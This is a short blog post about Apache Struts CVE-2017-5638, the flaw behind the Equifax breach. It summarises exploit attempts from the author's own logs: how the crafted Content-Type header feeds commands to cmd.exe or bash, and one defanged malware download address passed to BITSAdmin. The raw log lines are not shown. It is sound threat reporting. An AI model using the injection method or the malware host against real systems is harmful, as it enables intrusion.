Equifax was compromised through Apache Struts (CVE-2017-5638); here are example attack attempts from my own logs

On 15 September 2017, Equifax stated their compromise happened through exploitation of a vulnerability in Apache Struts CVE-2017-5638 — published March 2017 when used in the wild — that involves a crafted Content-Type HTTP request header. For those interested, here are log rules of 28 (untargeted) requests that attempted to exploit this vulnerability on my own blog (which does not run Apache Struts) between 10 March 2017 and 14 September 2017.

The lines are quite long; scroll to right in the grey dialog below. Each line contains a single “#cmd=” that defines a command and a single “#cmds=” (I highlighted those parts in bold below) that feeds the command to cmd.exe on Windows systems and /bin/bash on non-Windows systems. 12 of 28 cases attempt to download & run code; the remaining 16 cases only execute echo “Struts2045” or echo “Amen4Wolves” and seem to be probes for vulnerability. In (only) one case I could still fetch the (presumably unfriendly) code: hxxp://82.165.129.119/UnInstall.exe, which one case attempted to download and feed to BITSAdmin.exe; I’ll take a look at that executable later.
